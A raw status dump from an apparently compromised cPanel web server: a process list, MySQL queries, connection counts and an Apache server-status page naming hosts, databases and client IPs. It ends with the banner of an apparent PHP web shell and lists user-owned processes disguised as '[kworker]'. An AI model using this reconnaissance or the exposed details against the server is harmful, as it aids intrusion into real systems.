root        928  0.0  0.1 445028  3388 ?        Ss   Nov16   0:00 sw-engine-fpm: master process (/etc/sw-engine/sw-engine-fpm.conf)
wp-tool+  89495  0.0  0.0 445028   316 ?        S    02:59   0:00  \_ sw-engine-fpm: pool wordpress-toolkit
root        937  0.0  0.4 439788 11484 ?        Ss   Nov16   0:00 php-fpm: master process (/opt/cpanel/ea-php56/root/etc/php-fpm.conf)
systuser    938  0.0  0.5 114016 14284 ?        Ssl  Nov16   0:03 /usr/local/lp/opt/exporters/blackbox_exporter/blackbox_exporter --config.file /usr/local/lp/etc/exporters/blackbox.yml
root        939  0.0  0.3 261296  7580 ?        Ss   Nov16   0:02 cpsrvd (SSL) - waiting for connections                   
root      90022  0.0  0.0      0     0 ?        Z    02:59   0:00  \_ [cpaneld - servi] <defunct>
root        943  0.1  0.4 1277312 10584 ?       Ssl  Nov16   0:20 /usr/bin/checkstatus
root        944  0.1  0.3 1276356 8028 ?        Ssl  Nov16   0:24 /usr/bin/cspdaemon
cpanelc+    947  0.0  0.1  10416  3588 ?        Rs   Nov16   0:11 /usr/local/cpanel/3rdparty/sbin/p0f -i any -u cpanelconnecttrack -d -s /var/cpanel/userhomes/cpanelconnecttrack/p0f.socket less 400 and not dst port 80 and not dst port 443 and tcp[13] & 8==0
root        952  0.0  0.0 396248   756 ?        Ss   Nov16   0:00 php-fpm: master process (/opt/cpanel/ea-php81/root/etc/php-fpm.conf)
root        957  0.0  0.0 388892   700 ?        Ss   Nov16   0:00 php-fpm: master process (/opt/cpanel/ea-php73/root/etc/php-fpm.conf)
systuser    962  0.0  0.0  14068    48 ?        Ssl  Nov16   0:00 /usr/local/lp/opt/exporters/mysqld_exporter/mysqld_exporter --config.my-cnf=/usr/local/lp/etc/exporters/my.cnf
telegraf    963  0.0  1.4 5654048 35992 ?       SLsl Nov16   0:07 /usr/local/lp/bin/telegraf -config /usr/local/lp/etc/telegraf.toml -config-directory /usr/local/lp/etc/telegraf.d
root        964  0.0  0.0 153404   468 ?        Ss   Nov16   0:00 pure-ftpd (SERVER)
root        967  0.0  0.0 400740  1012 ?        Ss   Nov16   0:02 php-fpm: master process (/opt/cpanel/ea-php74/root/etc/php-fpm.conf)
systuser    968  0.0  0.0 112524    72 ?        Ssl  Nov16   0:00 /usr/local/lp/opt/exporters/node_exporter/node_exporter
memcach+    969  0.0  0.0 342400   192 ?        Ssl  Nov16   0:00 /usr/bin/memcached -u memcached -p 11211 -m 64 -c 1024
root        974  0.0  0.0 389508   768 ?        Ss   Nov16   0:00 php-fpm: master process (/opt/cpanel/ea-php70/root/etc/php-fpm.conf)
root       1123  0.0  4.9 248032 119020 ?       Ss   Nov16   0:04 /usr/local/cpanel/3rdparty/perl/536/bin/perl -T -w /usr/local/cpanel/3rdparty/bin/spamd --allowed-ips=127.0.0.1,::1 --max-children=5 --pidfile=/var/run/spamd.pid --listen=5 --listen=6
root       8393  0.0  5.4 266004 130964 ?       S    Nov16   0:03  \_ spamd child
root       8394  0.0  4.8 248032 117032 ?       S    Nov16   0:00  \_ spamd child
systuser   1168  0.0  0.1 157704  3064 ?        S    Nov16   0:00 SonarPush 0.6.12 [sleeping]
wp-tool+   1176  0.0  0.2 387556  5096 ?        Ss   Nov16   0:00 /usr/bin/sw-engine /usr/local/cpanel/3rdparty/wp-toolkit/bin/run-script scheduled-tasks-executor.php
wp-tool+   1177  0.0  1.3 412368 32500 ?        Ss   Nov16   0:04 /usr/bin/sw-engine /usr/local/cpanel/3rdparty/wp-toolkit/bin/run-script background-tasks-executor.php
root       1211  0.0  0.4 209308 11980 ?        Ss   Nov16   0:01 tailwatchd
root       1213  0.0  0.2 183900  6044 ?        Ss   Nov16   0:00 cpdavd - accepting connections on: 2091, 2077, 2078 (dormant)
root       1216  0.0  0.1 167452  4112 ?        Ss   Nov16   0:00 dnsadmin - dormant mode
root      89788  0.0  0.0      0     0 ?        Z    02:59   0:00  \_ [dnsadmin - dorm] <defunct>
root       1627  0.0  0.0 299272   836 ?        Ss   Nov16   0:00 php-fpm: master process (/usr/local/cpanel/etc/php-fpm.conf)
cpanelp+  89805  0.0  0.1 298280  2476 ?        S    02:59   0:00  \_ php-fpm: pool cpanelphpmyadmin
root       1673  0.0  0.0 130416  1592 ?        SN   Nov16   0:00 cpanellogd - sleeping for logs
root       1928  0.0  0.3 266984  8180 ?        Ss   Nov16   0:01 /usr/sbin/httpd -k start
root       1932  0.0  0.0  12788   520 ?        S    Nov16   0:01  \_ /usr/local/cpanel/bin/splitlogs --dir=/etc/apache2/logs/domlogs --main=chs1.nescrow.com.ng --suffix=-bytes_log
root       1933  0.0  0.0  12732   480 ?        S    Nov16   0:01  \_ /usr/local/cpanel/bin/splitlogs --main=apache-traffic.log --mainout=/var/log/cpanel-server-traffic/web/traffic-apache.log
root       1934  0.0  0.0  12800   500 ?        S    Nov16   0:01  \_ /usr/local/cpanel/bin/splitlogs --dir=/etc/apache2/logs/domlogs --main=chs1.nescrow.com.ng --mainout=/etc/apache2/logs/access_log
root       1939  0.0  0.0  53256   256 ?        S    Nov16   0:00  \_ /usr/local/cpanel/3rdparty/bin/perl /usr/local/cpanel/bin/leechprotect
nobody    64181  0.1  0.8 277744 20624 ?        S    02:30   0:02  \_ /usr/sbin/httpd -k start
nobody    64182  0.1  0.8 277680 20236 ?        S    02:30   0:02  \_ /usr/sbin/httpd -k start
nobody    77269  0.1  0.8 277844 20144 ?        S    02:45   0:01  \_ /usr/sbin/httpd -k start
cloudw    90280  1.0  0.6 353712 15976 ?        S    03:00   0:00  |   \_ /opt/cpanel/ea-php72/root/usr/bin/php-cgi
nobody    82226  0.1  0.8 277876 19560 ?        S    02:51   0:00  \_ /usr/sbin/httpd -k start
nobody    82715  0.1  0.8 277616 19540 ?        S    02:51   0:00  \_ /usr/sbin/httpd -k start
nobody    82985  0.1  0.8 277536 19400 ?        S    02:52   0:00  \_ /usr/sbin/httpd -k start
nobody    84610  0.1  0.8 277676 19756 ?        S    02:53   0:00  \_ /usr/sbin/httpd -k start
nobody    85929  0.1  0.7 277744 19324 ?        S    02:55   0:00  \_ /usr/sbin/httpd -k start
nobody    85947  0.1  0.7 277744 19264 ?        S    02:55   0:00  \_ /usr/sbin/httpd -k start
nobody    87768  0.2  0.7 277744 18824 ?        S    02:57   0:00  \_ /usr/sbin/httpd -k start
nobody    87783  0.1  0.7 277744 19192 ?        S    02:57   0:00  \_ /usr/sbin/httpd -k start
nobody    87784  0.1  0.7 277816 19272 ?        S    02:57   0:00  \_ /usr/sbin/httpd -k start
nobody    88054  0.1  0.7 277868 18836 ?        S    02:57   0:00  \_ /usr/sbin/httpd -k start
nobody    88066  0.1  0.7 277744 19248 ?        S    02:57   0:00  \_ /usr/sbin/httpd -k start
nobody    88133  0.1  0.7 277744 18956 ?        S    02:58   0:00  \_ /usr/sbin/httpd -k start
nobody    88205  0.1  0.8 277744 19384 ?        S    02:58   0:00  \_ /usr/sbin/httpd -k start
nobody    88239  0.1  0.7 277744 19076 ?        S    02:58   0:00  \_ /usr/sbin/httpd -k start
nobody    89100  0.0  0.7 277876 18908 ?        S    02:59   0:00  \_ /usr/sbin/httpd -k start
nobody    89106  0.0  0.7 277888 18936 ?        S    02:59   0:00  \_ /usr/sbin/httpd -k start
nobody    89107  0.1  0.7 277748 18832 ?        S    02:59   0:00  \_ /usr/sbin/httpd -k start
nobody    89116  0.1  0.7 277744 18488 ?        S    02:59   0:00  \_ /usr/sbin/httpd -k start
nobody    89118  0.1  0.7 277744 18464 ?        S    02:59   0:00  \_ /usr/sbin/httpd -k start
cloudw    90286  0.0  0.4 295960 11176 ?        R    03:00   0:00      \_ /opt/cpanel/ea-php74/root/usr/bin/php-cgi
mysql      2639  1.2 11.2 1461652 271996 ?      Sl   Nov16   2:50 /usr/sbin/mysqld --daemonize --pid-file=/var/run/mysqld/mysqld.pid
oysipao+  40045  0.0  0.0   3148   416 ?        Ss   00:00   0:00 [kworker]
oysipao+  40049  0.0  0.0   3152   424 ?        S    00:00   0:00  \_ [kworker]
root      40218  0.1  1.2 182116 29452 ?        Ss   00:00   0:10 lfd - sleeping
## mysql stats
Uptime: 13228  Threads: 4  Questions: 1016171  Slow queries: 0  Opens: 5541  Flush tables: 1  Open tables: 2000  Queries per second avg: 76.819
*************************** 1. row ***************************
     Id: 15039
   User: pactpay_testing1
   Host: localhost
     db: pactpay_real
Command: Query
   Time: 1
  State: updating
   Info: UPDATE `currency_rate` SET
`response` = '{\n  \"error\": true,\n  \"status\": 401,\n  \"message\": 
*************************** 2. row ***************************
     Id: 15040
   User: nigeria_decide
   Host: localhost
     db: nigeria_decide
Command: Sleep
   Time: 0
  State: 
   Info: NULL
*************************** 3. row ***************************
     Id: 15047
   User: location_phpl624
   Host: localhost
     db: location_phpl624
Command: Query
   Time: 0
  State: statistics
   Info: select id from pl61_user_user where uniqid is NULL or uniqid = ""
*************************** 4. row ***************************
     Id: 15052
   User: root
   Host: localhost
     db: NULL
Command: Query
   Time: 0
  State: starting
   Info: show processlist
## network stats
      1 114.119.155.44 TIME_WAIT
      1 148.113.130.114 TIME_WAIT
      1 15.235.96.186 TIME_WAIT
      1 15.235.98.250 TIME_WAIT
      1 173.199.190.174 TIME_WAIT
      1 174.138.18.135 TIME_WAIT
      1 192.178.4.101 TIME_WAIT
      1 192.178.4.99 TIME_WAIT
      1 ::1 TIME_WAIT
      1 20.15.133.174 TIME_WAIT
      1 66.249.70.193 TIME_WAIT
      2 101.33.81.73 TIME_WAIT
      2 10.30.9.122 TIME_WAIT
      2 10.30.9.138 TIME_WAIT
      2 127.0.0.1 TIME_WAIT
      2 198.54.114.111 TIME_WAIT
      2 43.164.197.209 TIME_WAIT
      2 45.82.121.130 TIME_WAIT
## httpd stats
                                                                                                                                                                                  Apache Server Status for localhost (via ::1)

   Server Version: Apache/2.4.65 (cPanel) OpenSSL/1.1.1w mod_bwlimited/1.4
   Server MPM: prefork
   Server Built: Nov 12 2025 18:18:40
     __________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________

   Current Time: Monday, 17-Nov-2025 03:00:02 WAT
   Restart Time: Sunday, 16-Nov-2025 23:18:49 WAT
   Parent Server Config. Generation: 1
   Parent Server MPM Generation: 0
   Server uptime: 3 hours 41 minutes 12 seconds
   Server load: 0.53 0.45 0.36
   Total accesses: 75780 - Total Traffic: 1.9 GB - Total Duration: 37900172
   CPU Usage: u8.47 s4.97 cu1028.35 cs837.73 - 14.2% CPU load
   5.71 requests/sec - 149.1 kB/second - 26.1 kB/request - 500.134 ms/request
   18 requests currently being processed, 0 workers gracefully restarting, 4 idle workers

KRKW..KKRRKWK._RK_.KK.WK....K__.................................
................................................................
................................................................
................................................................

   Scoreboard Key:
   "_" Waiting for Connection, "S" Starting up, "R" Reading Request,
   "W" Sending Reply, "K" Keepalive (read), "D" DNS Lookup,
   "C" Closing connection, "L" Logging, "G" Gracefully finishing,
   "I" Idle cleanup of worker, "." Open slot with no current process

   Srv   PID     Acc     M CPU    SS   Req   Dur   Conn  Child  Slot     Client      Protocol         VHost                             Request
   0-0  82715 1/116/3479 K 2.63  0     412 1777799 36.5  2.99  88.35 192.178.4.99    http/1.1 team.cloudware.ng:443  GET /?l=1154004319 HTTP/1.1
   1-0  85929 0/81/3070  R 2.17  9     812 1584124 0.0   2.22  88.40 102.89.68.249   http/1.1
   2-0  89100 1/10/3264  K 0.16  0     451 1613169 34.0  0.27  83.22 192.178.4.99    http/1.1 team.cloudware.ng:443  GET /?l=3690281025 HTTP/1.1
   3-0  82226 0/170/3417 W 4.05  0     0   1686854 0.0   4.21  83.11 192.178.4.104   http/1.1 team.cloudware.ng:443  GET /?l=2043677227 HTTP/1.1
   4-0  -     0/0/3312   . 0.00  49    0   1503423 0.0   0.00  83.33 ::1             http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   5-0  -     0/0/3050   . 0.00  52    0   1491647 0.0   0.00  78.80 ::1             http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   6-0  89106 2/10/3276  K 0.17  1     400 1587938 67.2  0.18  82.43 192.178.4.102   http/1.1 team.cloudware.ng:443  GET /?l=3497390530 HTTP/1.1
   7-0  64181 1/425/2859 K 10.58 0     61  1500967 0.7   12.26 75.65 66.249.70.5     http/1.1 test.cloudware.ng:80   GET /1839903425?goodscode=1837492782 HTTP/1.1
   8-0  64182 0/494/3089 R 12.35 9     8   1510645 0.0   11.66 75.70 117.2.155.13    http/1.1
   9-0  85947 0/59/3105  R 1.71  53    262 1561341 0.0   1.95  79.05 129.222.205.240 http/1.1
   10-0 87768 2/44/3048  K 1.23  3     395 1524530 64.9  1.30  78.00 192.178.4.98    http/1.1 team.cloudware.ng:443  GET /?l=681187004 HTTP/1.1
   11-0 87783 0/50/2844  W 1.16  0     0   1448805 0.0   0.66  72.55 ::1             http/1.1 chs1.nescrow.com.ng:80 GET //whm-server-status HTTP/1.0
   12-0 89107 2/17/2786  K 0.45  2     340 1444418 64.9  0.48  72.24 192.178.4.96    http/1.1 team.cloudware.ng:443  GET /?l=2340825145 HTTP/1.1
   13-0 -     0/0/2885   . 0.00  6     0   1525272 0.0   0.00  74.82 ::1             http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   14-0 87784 0/38/2611  _ 0.97  0     0   1348558 0.0   1.20  67.79 ::1             http/1.1 chs1.nescrow.com.ng:80 GET //whm-server-status HTTP/1.0
   15-0 84610 0/96/2746  R 2.64  4     399 1390553 0.0   3.07  70.15 117.2.155.13    http/1.1 cloudware.ng:443
   16-0 88054 1/32/2733  K 0.85  4     311 1390737 37.7  0.83  68.28 192.178.4.98    http/1.1 team.cloudware.ng:443  GET /?l=2190881526 HTTP/1.1
   17-0 82985 0/113/2649 _ 2.88  0     298 1332478 0.0   2.47  70.49 192.178.4.98    http/1.1 team.cloudware.ng:443  GET /?l=1183147749 HTTP/1.1
   18-0 -     0/0/2397   . 0.00  51    0   1201519 0.0   0.00  62.04 ::1             http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   19-0 89116 10/17/2128 K 0.44  3     337 1069681 312.2 0.35  58.27 192.178.4.103   http/1.1 team.cloudware.ng:443  GET /?l=2585128114 HTTP/1.1
   20-0 77269 2/187/2222 K 4.88  0     339 1125771 64.9  5.04  55.95 192.178.4.100   http/1.1 team.cloudware.ng:443  GET /?l=2014469014 HTTP/1.1
   21-0 -     0/0/2087   . 0.00  25    0   1111532 0.0   0.00  57.12 ::1             http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   22-0 89118 3/17/1573  W 0.46  0     0   776037  7.5   0.44  37.62 66.249.70.7     http/1.1 test.cloudware.ng:443  GET /10447220?goodscode=0010434290 HTTP/1.1
   23-0 88066 1/26/1439  K 0.48  1     338 686564  35.5  0.56  34.90 192.178.4.96    http/1.1 team.cloudware.ng:443  GET /?l=603534242 HTTP/1.1
   24-0 -     0/0/1756   . 0.00  87    0   906974  0.0   0.00  45.90 ::1             http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   25-0 -     0/0/1093   . 0.00  110   0   521905  0.0   0.00  27.62 ::1             http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   26-0 -     0/0/900    . 0.00  50    0   357488  0.0   0.00  17.67 ::1             http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   27-0 -     0/0/759    . 0.00  101   0   372347  0.0   0.00  19.46 ::1             http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   28-0 88133 4/28/960   K 0.78  0     566 496333  124.0 0.88  23.91 192.178.4.97    http/1.1 team.cloudware.ng:443  GET /?l=161899373 HTTP/1.1
   29-0 88205 0/24/290   _ 0.54  0     268 115434  0.0   0.60  5.44  192.178.4.104   http/1.1 team.cloudware.ng:443  GET /?l=25649552 HTTP/1.1
   30-0 88239 0/25/701   _ 0.58  0     270 324445  0.0   0.67  15.78 192.178.4.101   http/1.1 team.cloudware.ng:443  GET /?l=1606037794 HTTP/1.1
   31-0 -     0/0/500    . 0.00  4466  0   230058  0.0   0.00  10.64 ::1             http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   32-0 -     0/0/183    . 0.00  4531  0   79523   0.0   0.00  3.91  ::1             http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   33-0 -     0/0/106    . 0.00  9378  0   46426   0.0   0.00  3.26  ::1             http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   34-0 -     0/0/292    . 0.00  9371  0   156256  0.0   0.00  7.78  ::1             http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   35-0 -     0/0/28     . 0.00  9365  0   6362    0.0   0.00  0.28  ::1             http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   36-0 -     0/0/170    . 0.00  9311  0   85805   0.0   0.00  4.16  ::1             http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   37-0 -     0/0/11     . 0.00  9375  0   7767    0.0   0.00  0.11  ::1             http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   38-0 -     0/0/144    . 0.00  9358  0   77733   0.0   0.00  3.62  ::1             http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   39-0 -     0/0/424    . 0.00  7966  0   220703  0.0   0.00  11.36 ::1             http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   40-0 -     0/0/88     . 0.00  9245  0   19096   0.0   0.00  1.31  ::1             http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   41-0 -     0/0/8      . 0.00  9377  0   3054    0.0   0.00  0.05  ::1             http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   42-0 -     0/0/43     . 0.00  9233  0   22487   0.0   0.00  0.98  ::1             http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   43-0 -     0/0/114    . 0.00  9376  0   52913   0.0   0.00  2.30  ::1             http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   44-0 -     0/0/661    . 0.00  7018  0   366544  0.0   0.00  17.77 ::1             http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   45-0 -     0/0/42     . 0.00  9381  0   19040   0.0   0.00  0.83  ::1             http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   46-0 -     0/0/11     . 0.00  9354  0   5124    0.0   0.00  0.16  ::1             http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   47-0 -     0/0/20     . 0.00  9315  0   7973    0.0   0.00  0.58  ::1             http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   48-0 -     0/0/83     . 0.00  9066  0   40607   0.0   0.00  1.94  ::1             http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   49-0 -     0/0/37     . 0.00  9369  0   18588   0.0   0.00  0.72  ::1             http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   50-0 -     0/0/7      . 0.00  9364  0   3381    0.0   0.00  0.08  ::1             http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   51-0 -     0/0/9      . 0.00  9338  0   3457    0.0   0.00  0.11  ::1             http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   52-0 -     0/0/2      . 0.00  12073 0   1702    0.0   0.00  0.01  ::1             http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   53-0 -     0/0/7      . 0.00  12049 0   2649    0.0   0.00  0.07  ::1             http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   54-0 -     0/0/2      . 0.00  12072 0   1806    0.0   0.00  0.01  ::1             http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   55-0 -     0/0/27     . 0.00  11994 0   13156   0.0   0.00  0.55  ::1             http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   56-0 -     0/0/189    . 0.00  11240 0   98784   0.0   0.00  5.53  ::1             http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
   57-0 -     0/0/44     . 0.00  11934 0   19861   0.0   0.00  0.82  ::1             http/1.1 chs1.nescrow.com.ng:80 OPTIONS * HTTP/1.0
     __________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________

    Srv  Child Server number - generation
    PID  OS process ID
    Acc  Number of accesses this connection / this child / this slot
     M   Mode of operation
    CPU  CPU usage, number of seconds
    SS   Seconds since beginning of most recent request
    Req  Milliseconds required to process most recent request
    Dur  Sum of milliseconds required to process all requests
   Conn  Kilobytes transferred this connection
   Child Megabytes transferred this child
   Slot  Total megabytes transferred this slot
     __________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________

   SSL/TLS Session Cache Status:
   cache type: SHMCB, shared memory: 1024000 bytes, current entries: 1280
   subcaches: 32, indexes per subcache: 177
   time left on oldest entries' objects: avg: 7 seconds, (range: 0...29)
   index usage: 22%, cache usage: 30%
   total entries stored since starting: 56996
   total entries replaced since starting: 0
   total entries expired since starting: 55712
   total (pre-expiry) entries scrolled out of the cache: 0
   total retrieves since starting: 7 hit, 125 miss
   total removes since starting: 4 hit, 0 miss

Youez - 2016 - github.com/yon3zu
LinuXploit